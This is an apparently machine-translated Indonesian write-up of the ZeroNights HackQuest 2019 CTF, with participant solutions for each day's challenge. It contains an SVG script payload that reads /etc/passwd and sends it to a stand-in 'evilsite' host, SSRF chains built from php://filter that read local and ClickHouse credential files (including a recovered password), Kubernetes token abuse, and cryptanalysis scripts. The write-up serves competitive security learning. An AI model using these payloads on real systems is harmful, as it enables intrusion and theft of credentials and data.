ZeroNights Hackquest 2019. Hasil & Tulisan

Baru-baru ini, HackQuest tahunan, yang didedikasikan untuk konferensi ZeroNights, telah berakhir. Seperti tahun-tahun sebelumnya, para peserta harus menyelesaikan 7 tugas yang berbeda - satu untuk hari pencarian. Tugas, seperti biasa, membantu mempersiapkan mitra komunitas kami. Anda dapat mengetahui bagaimana tugas-tugas diselesaikan, dan siapa yang menjadi pemenang retas kali ini, di bawah potongan.


gambar

Hari 1. TOP SECRET


Pemenang
Tempat 12 tempat
vladvisGotdaswag

Penugasan pertama tahun ini disiapkan oleh tim audit Keamanan Digital . Untuk mengatasinya, para peserta harus melalui tiga tahap: mengakses isi obrolan internal dari portal game, mengeksploitasi kerentanan dalam bot Discord, dan menggunakan pengaturan hak yang salah di kluster Kubernetes.


Keputusan tugas hari pertama (vladvis)

Langkah 1: graphql


  • Awalnya, kami membuka aplikasi web dengan game dan rating js-client.
  • Selain statis, hanya 1 permintaan yang dibuat ke backend:
  • Anda bisa mendapatkan daftar semua jenis dan bidangnya dengan kueri berikut:
    { __schema { types { name fields { name } } } } 
  • Kami melihat kolom komentar, memintanya dalam permintaan awal dan mendapatkan tautan ke langkah berikutnya.

Langkah 2: Bot perselisihan


  • Bot bertemu kami di server dan membuat saluran terpisah untuk kami
  • Segera kita melihat sedikit SSRF di gitea, tapi aku tidak pernah sampai pada itu = (
  • Kami mencoba membaca file lokal:
     <svg width="10cm" height="3cm" viewBox="0 0 1000 300" version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <script type="text/javascript"> for (var i=0; trefs[i]; i++) { var xhr = new XMLHttpRequest(); xhr.open("GET","/etc/passwd",false); xhr.send(""); var xhr2 = new XMLHttpRequest(); xhr2.open("GET", "http://evilsite/?p="+btoa(xhr.responseText),false); xhr2.send(""); } </script> </svg> 
  • Kami mendapatkan / etc / passwd dan melihat 2 pengguna: pekerja, yang mewakili svg dan gitea dirender
     worker:x:1000:1000::/home/worker:/bin/sh gitea:x:1001:1001::/home/gitea:/bin/sh 
  • Langkah ini saya melewati jalur yang tidak diinginkan: di .bash_history, pekerja memiliki jalur ke kunci ssh dan alamat server ke tahap berikutnya
     cd nano .ssh/connect_info echo > .bash_history exit cd cd .ssh/ chmod 755 id_rsa ls -al cat id_rsa exit 

    Langkah 3: kubernetes

  • Sepertinya saya sampai pada tahap ini terlebih dahulu. .bash_history dan ps kosong dan dari sini saya menyimpulkan bahwa untuk setiap ip lingkungan terisolasi dibuat
  • Token untuk kubernetes ditemukan di mount
  • Pada awalnya tidak jelas dari mana mendapatkan token itu, dan saya mulai memindai grid ... dan pada titik tertentu saya mulai berjalan di tetangga di awan.
  • Setelah itu, sebuah petunjuk dikeluarkan pada subnet mana yang akan dipindai, dan sisanya kubernetes ditemukan segera
  • Pada titik ini, saya menyadari bahwa saya tidak sendirian di server, dan tidak ada keinginan untuk memotong sesuatu, misalnya, menyembunyikan cmdline, jadi saya memutuskan untuk melakukannya lebih mudah itu lebih menyakitkan dan maju ke dirinya sendiri kaus kaki proxy melalui ssh
  • Menggunakan kubectl get pods , daftar kontainer diperoleh, dan dokumentasi kubernetes menyarankan bahwa exec dapat digunakan dengan sintaksis yang sama seperti buruh pelabuhan
  • Kemudian ada 1,5 jam penderitaan dengan proxy kaus kaki, di mana websocket untuk eksekutif tidak naik. Saya akhirnya pergi langsung ke kubectl melalui ssh
  • Kontainer kedua memiliki token baru dan sudah memiliki akses ke cluster di namespace tetangga zn2 (awalnya kita berada di namespace zn1), dari mana redis terlihat
  • Kami mengingat laporan @paulaxe dari Zeronights sebelumnya dan mendapatkan RCE, misalnya, menggunakan PoC ini
  • Setelah menerima token berikutnya, Anda dapat menarik bendera dari rahasia kubernetes

Hari 2. MICOSOFT LUNIX


Pemenang
Tempat 12 tempatTempat ke-3
sobekSin__AV1ct0r
Juga memutuskan: demidov_al, gotdaswag, medidrdrider, groke_is_love_groke_is_life

Tugas hari kedua disiapkan oleh anggota komunitas Crew r0 . Untuk mengatasi ini, Anda perlu membuat kunci aktivasi untuk gambar Linux dengan kernel yang dimodifikasi.


Keputusan tugas hari kedua (robek)

Diberikan: file jD74nd8_task2.iso , image ISO yang dapat di-boot. Dari file di dalam gambar, kita dapat mengasumsikan bahwa itu adalah Linux: ada boot/kernel.xz kernel boot/kernel.xz , boot/rootfs.xz ramdisk awal boot/rootfs.xz dan boot loader boot/syslinux/ .


Kami mencoba membongkar inti dan ramdisk. Ramdisk di sini adalah arsip cpio biasa yang dikompres oleh xz. Buka kemasan kernel menggunakan skrip https://github.com/torvalds/linux/blob/master/scripts/extract-vmlinux . Anda juga dapat memperhatikan informasi kernel:


 > file kernel.xz kernel.xz: Linux kernel x86 boot executable bzImage, version 5.0.11 (billy@micosoft.com) #1 SMP Sat Aug 25 13:37:00 CEST 2019, RO-rootFS, swap_dev 0x2, Normal VGA 

Sepanjang jalan, kita menemukan dalam gambar iso tugas utama minimal/rootfs/bin/activator : semuanya bermula untuk menulis data email yang dimasukkan dan kunci aktivasi ke perangkat /dev/activate dalam format $email|$key . Jika pemeriksaan kunci berhasil, membaca dari /dev/activate akan menghasilkan garis ACTIVATED , dan aktivator dalam kasus ini akan memulai permainan 2048.


Sudah saatnya untuk melihat tugas dalam dinamika. Untuk melakukan ini, jalankan emulator di KVM:


 > qemu-system-x86_64 -enable-kvm -drive format=raw,media=cdrom,readonly,file=jD74nd8_task2.iso 

Linux memulai dan segera meluncurkan /bin/activator dari overlay. Ini dijabarkan dalam /etc/inittab . Untuk menghindari menggali binar dalam waktu yang lama, saya ingin mendapatkan shell dan melihat setidaknya pada /proc dan /sys . Cara termudah bagi saya adalah cukup mengunggah file iso ke tempat skrip aktivator itu sendiri berada. Alih-alih sleep 1 set /bin/sh , mis. Saya menerima shell setelah setiap upaya untuk memasukkan serial.


Jadi ada sebuah shell: kita melihat bahwa /proc/kallsyms ada, mis. karakter kernel yang hilang. Bersama mereka, tentu saja, akan jauh lebih cepat, tapi tidak apa-apa. Kami mencari informasi tentang perangkat /dev/activator :


 / # ls -la /dev/activate crw------- 1 0 0 252, 0 Oct 15 08:57 /dev/activate / # cat /proc/devices Character devices: ... 252 activate ... Block devices: ... 

Dari informasi di /proc/devices dapat dilihat bahwa ini adalah perangkat char dengan versi mayor 252 dan minor 0.


Inilah saatnya menemukan fungsi registrasi perangkat ini di kernel binar untuk menemukan handler untuk operasi write . Untuk melakukan ini, temukan referensi silang ke activate string. Tetapi tidak ada baris seperti itu di kernel, mungkin itu entah bagaimana tersembunyi.


Dalam upaya berikutnya, kami mencoba menemukan fungsi yang bertanggung jawab untuk mendaftarkan perangkat karakter: cdev_add dan register_chrdev . Ini dapat dilakukan dengan referensi silang /dev/console atau perangkat karakter lain dan mengambil kode sumber kernel (saya mengambil versi 5.0.11, tapi saya tidak yakin apakah versinya benar). Setelah melihat daftar perangkat yang sedang didaftarkan, kami tidak menemukan perangkat dengan versi utama 252 di sana. Kemungkinan kedua fungsi ini tidak mendaftar.


Mari kita coba mencari beberapa petunjuk lain dalam dinamika:


 / # ls -la /sys/dev/char/252:0 lrwxrwxrwx 1 0 0 0 Oct 15 09:00 /sys/dev/char/252:0 -> ../../devices/virtual/EEy????I/activate 

Inilah EEy????I - EEy????I perangkat EEy????I Kami mencoba menemukan baris ini di binar dan ada di sana!



Meskipun tidak ada referensi silang yang ditemukan, tetapi di sebelahnya terlihat data yang mirip dengan string. Jika Anda melihat kode yang menggunakannya, Anda dapat melihat bahwa ini adalah penangan baca dan tulis yang diinginkan dari perangkat activate yang dienkripsi dengan XOR sederhana.


Baca Fungsi Pemrosesan:



Fungsi pemrosesan operasi tulis, itu juga merupakan pemeriksaan lisensi:



Pemeriksaan cepat terhadap kode verifikasi aktivasi menunjukkan bahwa paling mudah untuk hanya meletakkan breakpoint di alamat 0xFFFFFFFF811F094B dan mengambil kode aktivasi di sana, tanpa benar-benar menyelidiki apa yang terjadi di sana. Untuk melakukan ini, jalankan qemu dengan flag -s . Dalam hal ini, qemu menjalankan gdb stub, yang memungkinkan Anda untuk menggunakan klien gdb. Cara termudah dan tercepat untuk melakukan ini di IDA Pro, jika Anda memiliki lisensi. Tapi tidak ada yang melarang melakukan semuanya di gdb konsol.


Kami melakukan semuanya seperti yang dijelaskan dalam tutorial resmi. Sekarang Anda perlu menemukan fungsi pemrosesan di dalam kernel yang sudah berjalan.




Karena kernel dibangun dengan dukungan KASLR, alamat kernel yang sedang berjalan digeser ke offset acak yang dihasilkan setiap kali kernel dimulai. Kami menghitung offset ini (kami mengambil alamat urutan byte unik dalam kode dari kernel yang di-debug dan mengurangi alamat urutan ini dalam binar darinya) dan, menambahkan fungsi aktivasi ke alamat, kami menemukannya di memori. Semuanya, sekarang terserah kecil. Atur breakpoint dan ambil kodenya.





Solusi untuk tugas ini telah dipublikasikan di hub oleh salah satu peserta. Anda bisa berkenalan di sini .


Hari 3. HOUSE OF BECHED


Pemenang
Tempat 1
blackfan

Pekerjaan disiapkan oleh beched ( DeteAct ). Para peserta dipenuhi oleh halaman pembayaran biasa-biasa saja. Untuk solusinya, perlu mengakses database Clickhouse menggunakan fitur fungsi php file_get_contents .


Keputusan tugas hari ketiga (blackfan)

Tugasnya adalah halaman pembayaran, di mana satu-satunya parameter yang menarik adalah callback_url.


https://i.imgur.com/iX65TI3.png


Kami menunjukkan situs Anda dan menangkap permintaan:


 http://82.202.226.176/?callback_url=http://attacker.tld/&pan=&amount=&payment_id= 

 POST / HTTP/1.0 Host: attacker.tld Connection: close Content-Length: 21 Content-Type: application/json amount=0&payment_id=0 

Respons HTTP ditampilkan hanya jika situs mengembalikan string alfanumerik. Contoh jawaban:


 {"result":"Success.","msg":"Response: testresponse"} {"result":"Invalid status code.","msg":"Non-alphanumeric response."} 

Kami mencoba sebagai data callback_url :, menguji dan memahami bahwa, kemungkinan besar, ini adalah PHP.


 http://82.202.226.176/?callback_url=data:,test&pan=&amount=&payment_id= 

Kami menggunakan filter php: // untuk membaca file lokal dan menyandikan respons menggunakan convert.base64-encode sehingga jawabannya cocok dengan alfanumerik. Karena karakter +, / dan =, kadang-kadang perlu untuk menggabungkan beberapa panggilan base64 untuk menampilkan jawaban.


 http://82.202.226.176/?pan=xxx&amount=xxx&payment_id=xxx&callback_url=php://filter/convert.base64-encode|convert.base64-encode/resource=./index.php http://82.202.226.176/?pan=xxx&amount=xxx&payment_id=xxx&callback_url=php://filter/convert.base64-encode|convert.base64-encode/resource=./includes/db.php 

 <?php error_reporting(0); /* * DB configuration */ $config = [ 'host' => 'localhost', 'port' 

Output respon dibatasi hingga 200 byte, tetapi dari fragmen kita belajar tentang ketersediaan database di localhost. Kami memilah-milah port melalui callback_url dan menemukan artikel baru tentang injeksi di ClickHouse di blog DeteAct , yang sesuai dengan nama tugas aneh "HOUSE OF BECHED".


https://i.imgur.com/OBn22wi.png


ClickHouse memiliki antarmuka HTTP yang memungkinkan Anda untuk melakukan permintaan sewenang-wenang, yang sangat nyaman digunakan di SSRF.


Kami membaca dokumentasi, mencoba mendapatkan akun dari konfigurasi.


 http://82.202.226.176/?callback_url=php://filter/convert.base64-encode|convert.base64-encode/resource=/etc/clickhouse-server/users.xml&pan=&amount=&payment_id= 

 <?xml version="1.0"?> <yandex> <!-- Profiles of settings. --> <profiles> <!-- Default settibm 

Sekali lagi, membatasi keluaran mengganggu, dan menilai dengan file standar, bidang yang diinginkan sangat jauh.


https://i.imgur.com/5Un6gfj.png


Potong kelebihan menggunakan filter string.strip_tags.


 http://82.202.226.176/?callback_url=php://filter/string.strip_tags|convert.base64-encode/resource=/etc/clickhouse-server/users.xml&pan=&amount=&payment_id= 

Tetapi panjang output masih tidak cukup sampai kata sandi diterima. Tambahkan filter kompresi zlib.deflate.


 http://82.202.226.176/?callback_url=php://filter/string.strip_tags|zlib.deflate|convert.base64-encode|convert.base64-encode/resource=/etc/clickhouse-server/users.xml&pan=&amount=&payment_id= 

Dan baca secara lokal dalam urutan terbalik:


 print(file_get_contents('php://filter/convert.base64-decode|convert.base64-decode|zlib.inflate/resource=data:,NCtYaTVWSUFBbVFTRnd1VFoyZ0FCN3hjK0JRU2tDNUt6RXZKejBXMms3QkxETkVsZUNueVNsSnFja1pxU2taK2FYRnFYbjVHYW1JQmZoZWo4a0RBeWtyZkFGME5QajBwcVdtSnBUa2xWRkNFNlJaTUVWSkZRU0JSd1JZNWxGRTFVY3NLYllVa0JiV2NFbXNGUTRYOElv')); 

Setelah menerima kata sandi, kami dapat mengirim permintaan ClickHouse sebagai berikut:


 http://localhost:8123/?query=select%20'xxx'&user=default&password=bechedhousenoheap http://default:bechedhousenoheap@localhost:8123/?query=select%20'xxx' 

Tapi karena kami awalnya mengirim POST, kami perlu menyiasatinya menggunakan pengalihan. Dan permintaan terakhir ternyata seperti ini (pada tahap ini saya sangat bodoh, karena karena bersarang besar pemrosesan parameter, saya salah mengkodekan karakter khusus dan tidak dapat menjalankan permintaan)


 http://82.202.226.176/?callback_url=php://filter/convert.base64-encode|convert.base64-encode|convert.base64-encode/resource=http://blackfan.ru/x?r=http://localhost:8123/%253Fquery=select%252520'xxx'%2526user=default%2526password=bechedhousenoheap&pan=&amount=&payment_id= 

Nah, baru dapatkan datanya dari database:


 select name from system.tables select name from system.columns where table='flag4zn' select bechedflag from flag4zn 

 http://82.202.226.176/?callback_url=php://filter/convert.base64-encode|convert.base64-encode|convert.base64-encode/resource=http://blackfan.ru/x?r=http://localhost:8123/%253Fquery=select%252520bechedflag%252520from%252520flag4zn%2526user=default%2526password=bechedhousenoheap&pan=&amount=&payment_id= 

Hari 4. ASR-EHD


Pemenang
Tempat 1
AV1ct0r

Tugas hari keempat disiapkan oleh Departemen Riset Keamanan Digital . Tugas utama tugas adalah untuk menunjukkan bagaimana pilihan yang salah dari sumber angka acak dapat mempengaruhi algoritma kriptografi. Di taskka, generator kunci pribadi acak yang ditulis sendiri untuk DH diimplementasikan, berdasarkan LFSR. Setelah menerima cukup banyak jabat tangan TLS berturut-turut menggunakan nilai-nilai DH publik, dimungkinkan untuk mengembalikan keadaan awal LFSR dan mendekripsi semua lalu lintas.


Keputusan tugas hari keempat (AV1ct0r)

Hari 4 / ASR-EHD - WriteUp oleh AV1ct0r


Peter sedikit paranoid: dia selalu menggunakan koneksi terenkripsi. Untuk memastikan algoritma aman Peter menggunakan kliennya sendiri. Dia bahkan memberi kami dump lalu lintas yang dibuat saat menggunakan klien kustom-nya. Apakah koneksi Peter benar-benar aman?


https://hackquest.zeronights.org/downloads/task4/8Jdl3f_client.tar
https://hackquest.zeronights.org/downloads/task4/d8f3ND_dump.tar


  1. Buka file klien di IDA Pro dan lihat bahwa itu dapat mengunduh sebagian file flag.jpg dari server https://ssltest.a1exdandy.me:443/ . Bagian mana dari file yang akan diunduh (dari byte mana) diambil dari baris perintah.


     signed __int64 __fastcall main(int argc, char **argv, char **a3) { size_t v4; // rsi __int64 v5; // ST48_8 int v6; // [rsp+10h] [rbp-450h] int v7; // [rsp+14h] [rbp-44Ch] __int64 v8; // [rsp+20h] [rbp-440h] __int64 v9; // [rsp+28h] [rbp-438h] __int64 v10; // [rsp+30h] [rbp-430h] __int64 v11; // [rsp+38h] [rbp-428h] __int64 v12; // [rsp+40h] [rbp-420h] char ptr; // [rsp+50h] [rbp-410h] unsigned __int64 v14; // [rsp+458h] [rbp-8h] v14 = __readfsqword(0x28u); if ( argc != 3 ) return 0xFFFFFFFFLL; v6 = atoi(argv[1]); v7 = atoi(argv[2]); if ( v6 < 0 || v7 < 0 || v7 <= v6 ) return 0xFFFFFFFFLL; v8 = 0LL; v9 = 0LL; v10 = 0LL; OPENSSL_init_ssl(0LL, 0LL); OPENSSL_init_crypto(2048LL, 0LL); v11 = ENGINE_get_default_DH(2048LL, 0LL); if ( v11 ) { if ( (unsigned int)ENGINE_init(v11) ) { v12 = ENGINE_get_DH(v11); if ( v12 ) { v8 = DH_meth_dup(v12); if ( v8 ) { if ( (unsigned int)DH_meth_set_generate_key(v8, dh_1) ) { if ( (unsigned int)ENGINE_set_DH(v11, v8) ) { v5 = TLSv1_2_client_method(v11, v8); v10 = SSL_CTX_new(v5); if ( (unsigned int)SSL_CTX_set_cipher_list(v10, "DHE-RSA-AES128-SHA256") ) { v9 = BIO_new_ssl_connect(v10); BIO_ctrl(v9, 100LL, 0LL, (__int64)"ssltest.a1exdandy.me:443"); if ( BIO_ctrl(v9, 101LL, 0LL, 0LL) >= 0 ) { BIO_ctrl(v9, 101LL, 0LL, 0LL); BIO_printf(v9, "GET /flag.jpg HTTP/1.1\n", argv); BIO_printf(v9, "Host: ssltest.a1exdandy.me\n"); BIO_printf(v9, "Range: bytes=%d-%d\n\n", (unsigned int)v6, (unsigned int)v7); v4 = (signed int)BIO_read(v9, &ptr, 1024LL); fwrite(&ptr, v4, 1uLL, stdout); } else { v4 = 1LL; fwrite("Can't do connect\n", 1uLL, 0x11uLL, stderr); } } else { v4 = 1LL; fwrite("Can't set cipher list\n", 1uLL, 0x16uLL, stderr); } } else { v4 = 1LL; fwrite("Can't set DH methods\n", 1uLL, 0x15uLL, stderr); } } else { v4 = 1LL; fwrite("Can't set generate_key method\n", 1uLL, 0x1EuLL, stderr); } } else { v4 = 1LL; fwrite("Can't dup dh meth\n", 1uLL, 0x12uLL, stderr); } } else { v4 = 1LL; fwrite("Can't get DH\n", 1uLL, 0xDuLL, stderr); } } else { v4 = 1LL; fwrite("Can't init engine\n", 1uLL, 0x12uLL, stderr); } } else { v4 = 1LL; fwrite("Can't get DH\n", 1uLL, 0xDuLL, stderr); } if ( v11 ) { ENGINE_finish(v11, v4); ENGINE_free(v11); } if ( v8 ) DH_meth_free(v8, v4); if ( v10 ) SSL_CTX_free(v10, v4); if ( v9 ) BIO_free_all(v9, v4); return 0LL; } 

    Tidak ada gambar dengan bendera di server, tetapi dump.pcap ternyata memiliki banyak lalu lintas ssl, mungkin dengan potongan-potongan gambar. Setelah cepat memeriksa server untuk heartbleed (untuk mencuri kunci pribadi untuk mendekripsi lalu lintas), diketahui bahwa server tidak rentan. Selain itu, dalam sesi SSL, sesuai dengan dump lalu lintas dan klien, sandi DHE-RSA-AES128-SHA256 digunakan, di mana RSA hanya digunakan untuk penandatanganan, dan kunci dipertukarkan sesuai dengan skema Diffie-Hellman (kunci server RSA pribadi dalam mode ini tidak akan membantu kami )


  2. Memiliki sedikit podirbastiv server menemukan file https://ssltest.a1exdandy.me/x , yang merupakan malware sederhana, alamat admin yang dijahitkan ke dalamnya adalah 0x82C780B2697A0002 (0x82C780B2: 0x7a69 = 178.128.199.130 opin1337). Ketika terhubung ke port 31337, diketahui bahwa server mendukung 3 perintah, beberapa di antaranya meminta argumen tambahan


     nc 178.128.199.130 31337 Yet another fucking heap task... Command: 1-3 1 - Index: - Size: 2 - Index: 3 - Index: - Length: 

    Tapi tidak ada yang bisa dilakukan lebih jauh dengan port ini, dan kemungkinan besar itu adalah tugas yang mengganggu.


  3. Setelah melihat klien dengan seksama, saya melihat bahwa ia menggunakan generator rahasia Diffie-Hellman khusus:


     int __fastcall rnd_work(__int64 a1) { __int64 v1; // rsi unsigned int i; // [rsp+10h] [rbp-10h] rnd_read(); BN_bin2bn(&RANDOM_512, 512LL, a1); BN_lshift1(a1, a1); v1 = (unsigned int)BITS_ind[0]; // BITS_ind dd 4096, 4095, 4081, 4069, 0 if ( (unsigned int)BN_is_bit_set(a1, (unsigned int)BITS_ind[0]) ) { for ( i = 0; i <= 4; ++i ) { if ( (unsigned int)BN_is_bit_set(a1, (unsigned int)BITS_ind[i]) ) { v1 = (unsigned int)BITS_ind[i]; BN_clear_bit(a1, v1); } else { v1 = (unsigned int)BITS_ind[i]; BN_set_bit(a1, v1); } } } if ( (unsigned int)((signed int)((unsigned __int64)BN_num_bits(a1) + 7) / 8) > 0x200 ) { printf("Err!", v1); exit(0); } BN_bn2binpad(a1, &RANDOM_512, 512LL); return rnd_write(); } 

    Awalnya, rahasia (512 byte) dibaca dari / dev / urandom dan disimpan ke file state. Dengan setiap permintaan berikutnya, keajaiban berikut terjadi dengan sebuah rahasia:


     XOR = 2**4096 + 2**4095 + 2**4081 + 2**4069 + 1 CMP = 2**4096 state *= 2 if state > CMP: state ^= XOR 

    Rahasia sebagai angka panjang digeser 1 bit ke kiri, dan jika bit paling signifikan adalah 1, maka jumlahnya berada pada konstanta 5 bit tidak nol (XOR).



Melihat pcap, saya melihat bahwa parameter Diffie-Hellman yang tiba dari server adalah konstan:


 dh_g = 2 dh_p = 

Dan setiap kali koneksi dibuat, klien mengirimkan bagian publiknya dari rahasia Diffie-Hellman. Dengan membandingkan bagian publik dari rahasia sesi tetangga, Anda dapat memulihkan rahasia awal klien, dan kemudian semua rahasia berikutnya untuk setiap sesi:
Jika bit tertinggi dari rahasia adalah 0, maka pada sesi berikutnya rahasianya akan menjadi 2 kali lebih besar, dan bagian publik akan dikuadratkan dengan modulo p. Dengan demikian, dimungkinkan untuk mengembalikan rahasia awal (apa yang dibaca dari / dev / urandom) modulo p:


212030266574081313400816495535550771039880390539286135828101869037345869420205997453325815053364595553160004790759435995827592517178474188665111332189420650868610567156950459495593726196692754969821860322110444674367830706684288723400924718718744572072716445007789955072532338996543460287499773137785071615174311774659549109541904654568673143709587184128220277471318155757799759470829597214195494764332668485009525031739326801550115807698375007112649770412032760122054527000645191827995252649714951346955180619834783531787411998600610075175494746953236628125613177997145650859163985984159468674854699901927080143977813208682753148280937687469933353788992176066206254339449062166596095349440088429291135673308334245804375230115095159172312975679432750163246936266603077314220813042048063033927345613565227184333091534551071824033535159483541175958867122974738255966511008607723675431569961127852005437047813822454112416864211120323016008267853722731311026233323235121922969702016337164336853826598082855592007126727352041124911221048498141841625765390204460725231581416991152769176243658310857769293168120450725070030636638954553866903537931113666283836250525318798622872347839391197939468295124060629961250708172499966110406527347

dan dari itu mudah untuk menghitung rahasia untuk semua sesi lainnya.


Dan di sini ada masalah:
A) Wireshark tidak dapat mendekripsi SSL, mengetahui rahasia Diffie-Hellman, dan tidak ada solusi siap pakai. Kita perlu menghitung rahasia umum Diffie-Hellman (alias sesi kunci master), dan menggunakannya untuk menemukan sesi kunci utama menggunakan sepeda besar (saya tidak berpikir ada sepeda di SSL). Selanjutnya, Anda dapat membuat file SSLKEYLOG untuk menulis klien secara acak (di setiap sesi ssl) dan kunci master, tentukan dalam pengaturan WireShark untuk dekripsi SSL dan secara teori laba.


Tetapi beberapa masalah muncul:
B) PHP dianggap terlalu lambat ( bcadd , fungsi bcpowmod tidak digunakan ...), saya memutuskan untuk menulis ulang dengan python.
C) Rumus untuk menghitung kunci master dengan kunci pra-master dalam bentuk manusia tidak dapat ditemukan, ssl sangat sulit untuk dipahami, saya tidak bisa mendapatkan openssl untuk menampilkan hasil perhitungan antara juga. Akibatnya, saya menggunakan kode ini , deskripsi , dan semacam RFC:


Akibatnya, setelah setengah hari saya dapat melakukan overlay ini (bagi saya, itu tidak dapat dilakukan tanpa sepeda):


 for i in xrange(0, 4264): dh_secret = pow(srv_pubkeys[i], state, dh_p) dh_secret = hex(dh_secret)[2:-1] if len(dh_secret) % 2 : dh_secret = "0"+dh_secret while dh_secret[0:2] == "00": dh_secret = dh_secret[2:] dh_secret = dh_secret.decode("hex") seed = "master secret"+(cl_random[i].strip() + srv_random[i].strip()).decode("hex") A = seed master_key = "" for j in xrange(0, 2): A = hmac.new(dh_secret, A, hashlib.sha256).digest() master_key += hmac.new(dh_secret, A+seed, hashlib.sha256).digest() master_key = master_key[0:48].encode("hex") print "CLIENT_RANDOM " + cl_random[i].strip() + " " + master_key state *= 2 if state > CMP: state ^= XOR 

D) Untuk meringkas berbagai klien secara acak, ... dari sesi Wireshark, ekspor ke csv dan cari lalu lintas mentah dari apa yang csv dapatkan sebagai "..." digunakan.


E) Untuk mendekripsi 4264 sesi, WireShark memutuskan untuk makan banyak gigabyte operatif (8 tidak cukup untuknya), tetapi tidak ada, Anda dapat menjalankan semuanya di komputer yang kuat, dan bukan di laptop yang lemah. Namun, saat mengekspor objek http (potongan gambar yang didekripsi) WireShark hanya dapat menyimpan 1000 file pertama, dan kemudian penomorannya berakhir. Akibatnya, saya harus membagi pcap menjadi 5 bagian dari 1.000 sesi tcp di masing-masing. Hasilnya adalah gambar yang sangat indah setelah menempelkan semua bagian:



Semua file yang digunakan oleh pemenang untuk menyelesaikan tugas dapat ditemukan di sini .


Hari 5. SHELL TERLINDUNG


Pemenang
Tempat 12 tempatTempat ke-3
vosKasarClo
Juga memutuskan: Maxim Pronin, 0x3c3e, tinkerlock, demidov_al, x @ secator, groke_in_the_sky, d3fl4t3

Tugas disiapkan oleh RuCTFE . Peserta diberi file executable yang dikaburkan dengan sejumlah teknik anti-debugging. File yang dapat dieksekusi seperti klien SSH yang terhubung ke server yang sebelumnya dikenal. Tugasnya adalah memahami algoritma file ini untuk mendapatkan eksekusi perintah di server. Solusi penulis meliputi memintas anti-debugging dan menganalisis kebingungan.


Patut dicatat bahwa peserta tercepat menyelesaikan tugas dengan cara yang berbeda dari yang direncanakan oleh penulis, dan setelah itu ia menemukan solusi lain. Anda dapat melihat bagaimana dia melakukannya di bawah spoiler di bawah ini.


Opsi solusi tugas hari kelima (vos)


Hari 6. BUKA KUNCI


Pemenang
Tempat 12 tempatTempat ke-3
Gotdaswagmedidrdridersysenter

Tugas hari keenam disiapkan oleh tim VolgaCTF . Diberikan file yang dapat dieksekusi yang mengimplementasikan algoritma kriptografi khusus. Tugasnya adalah mendekripsi file yang diberikan dalam kondisi, dienkripsi menggunakan algoritma ini, tanpa memiliki kunci yang dikenal.


Solusi tugas hari keenam (gotdaswag)

INTRO


Diberikan arsip dengan dua file, locker dan secret.png.enc .


File pertama adalah ELF untuk Linux x86-64, yang menerima file dan kunci enkripsi sebagai input, dan yang kedua adalah gambar PNG terenkripsi.


 # ./locker Required option 'input' missing Usage: ./locker [options] Options: -i, --input in.png Input file path -o, --output out.png.enc Output file path -k, --key 0004081516234200 Encryption key in hex -h, --help Print this help menu 

LOCKER


Setelah menganalisis file di IDA, kami menemukan algoritma enkripsi di fungsi proyek :: .



Setelah mempelajarinya, kami memahami bahwa ini adalah block cipher (ECB), dengan ukuran blok 32 bit , ukuran kunci 64 bit dan jumlah putaran 77 .


Versi python

 def encrypt(p, k, rounds=77): for i in range(0, rounds): n = (p >> 4) & 1 n |= (p >> 26) & 0xE0 n |= (p >> 22) & 0x10 n |= (p >> 13) & 8 n |= (p >> 7) & 4 n |= (p >> 4) & 2 x = p ^ k x ^= p >> 12 x ^= p >> 20 x &= 1 y = 1 << n y &= 0xBB880F0FC30F0000 y >>= n y &= 1 if x == y: p &= 0xFFFFFFFE else: p |= 1 k = ror(k, 1, 64) p = ror(p, 1, 32) return p 

KUNCI RAHASIA


Kita tahu bahwa file yang dienkripsi adalah gambar PNG .
Oleh karena itu, kita tahu beberapa ciphertext plaintext dalam bentuk header file (itu adalah standar untuk PNG).


Mari kita coba cara sederhana dan gunakan SMT solver ( Z3 ) untuk menemukan kunci enkripsi.
Untuk melakukan ini, sedikit modifikasi kode dan kirimkan ke input sepasang plaintext-ciphertext.


task6_key.py

 import sys import struct from z3 import * # PNG file signature (8 bytes) + IHDR chunk header (8 bytes) PLAIN_TEXT = b'\x89\x50\x4E\x47\x0D\x0A\x1A\x0A\x00\x00\x00\x0D\x49\x48\x44\x52' BLOCK_SIZE = 4 def encrypt(p, k, rounds=77): for i in range(0, rounds): n = LShR(p, 4) & 1 n |= LShR(p, 26) & 0xE0 n |= LShR(p, 22) & 0x10 n |= LShR(p, 13) & 8 n |= LShR(p, 7) & 4 n |= LShR(p, 4) & 2 x = k ^ ZeroExt(32, p) x ^= LShR(ZeroExt(32, p), 12) x ^= LShR(ZeroExt(32, p), 20) x &= 1 y = 1 << ZeroExt(32, n) y &= 0xBB880F0FC30F0000 y = LShR(y, ZeroExt(32, n)) y &= 1 p = If(x == y, p & 0xFFFFFFFE, p | 1) p = RotateRight(p, 1) k = RotateRight(k, 1) return p def qword_le_to_be(v): pv = struct.pack('<Q', v) uv = struct.unpack('>Q', pv) return uv[0] if len(sys.argv) < 2: sys.exit('no input file specified') with open(sys.argv[1], 'rb') as encrypted_file: k = BitVec('k', 64) key = k solver = Solver() for i in range(0, len(PLAIN_TEXT), BLOCK_SIZE): # prepare plain text and cipher text pairs pt = struct.unpack('<L', PLAIN_TEXT[i:i + BLOCK_SIZE])[0] ct = struct.unpack('<L', encrypted_file.read(BLOCK_SIZE))[0] p = BitVecVal(pt, 32) e = BitVecVal(ct, 32) solver.add(encrypt(p, k) == e) print('solving ...') if solver.check() == sat: encryption_key = solver.model()[key].as_long() print('key: %016X' % qword_le_to_be(encryption_key)) 

Solusi:


 > python task6_key.py "secret.png.enc" solving ... key: AE34C511A8238BCC 

UNLOCKER


.
.


task6_unlocker.py

